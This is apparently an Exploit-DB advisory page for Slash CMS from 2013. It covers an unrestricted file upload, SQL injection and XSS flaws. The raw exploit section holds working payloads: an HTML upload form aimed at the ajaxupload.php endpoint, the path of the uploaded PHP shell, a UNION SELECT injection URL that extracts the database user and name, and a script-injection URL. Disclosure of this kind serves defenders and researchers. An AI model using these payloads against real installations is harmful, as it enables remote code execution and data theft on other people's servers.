Slash CMS Multiple Vulnerabilities

vendor:

Slash CMS

by:

DaOne aka Mocking Bird

8,8

CVSS

HIGH

File Upload and XSS/SQL Injection

434, 89

CWE

Product Name: Slash CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache/2.2.8(Win32) PHP/5.2.6

2013

Slash CMS Multiple Vulnerabilities

A file upload vulnerability exists in Slash CMS due to improper validation of uploaded files. An attacker can upload a malicious file to the server and execute arbitrary code. Additionally, an XSS/SQL injection vulnerability exists due to improper sanitization of user-supplied input. An attacker can inject malicious code into the application and execute it.

Mitigation:

Input validation should be performed on all user-supplied input to prevent malicious code from being executed. Additionally, proper sanitization of user-supplied input should be performed to prevent XSS/SQL injection attacks.

Source

Exploit-DB raw data:

##########################################
[~] Exploit Title: Slash CMS Multiple Vulnerabilities
[~] Date: 21-03-2013
[~] Author: DaOne aka Mocking Bird
[~] Vendor Homepage: http://www.slash-cms.com/
[~] Software Link: http://sourceforge.net/projects/slashcms/
[~] Category: webapps/php
[~] Google Dork: "N/A"
[~] Tested on: Apache/2.2.8(Win32) PHP/5.2.6
##########################################

# File Upload:
<form action="http://localhost/slash-cms/core/plugins/ajaxupload/ajaxupload.php" method="post" enctype="multipart/form-data">
<input type="file" name="sl_userfile">
<input type="submit" value="Upload"></form>
Uploaded File Path: /tmp/{Filename}.php


# XSS / SQL Injection:
http://localhost/slash-cms/index.php?mod=sl_pages&id=-2+union+select+1,2,user(),database(),5,6
http://localhost/slash-cms/index.php?mod=sl_pages&id=<script>alert(1)</script>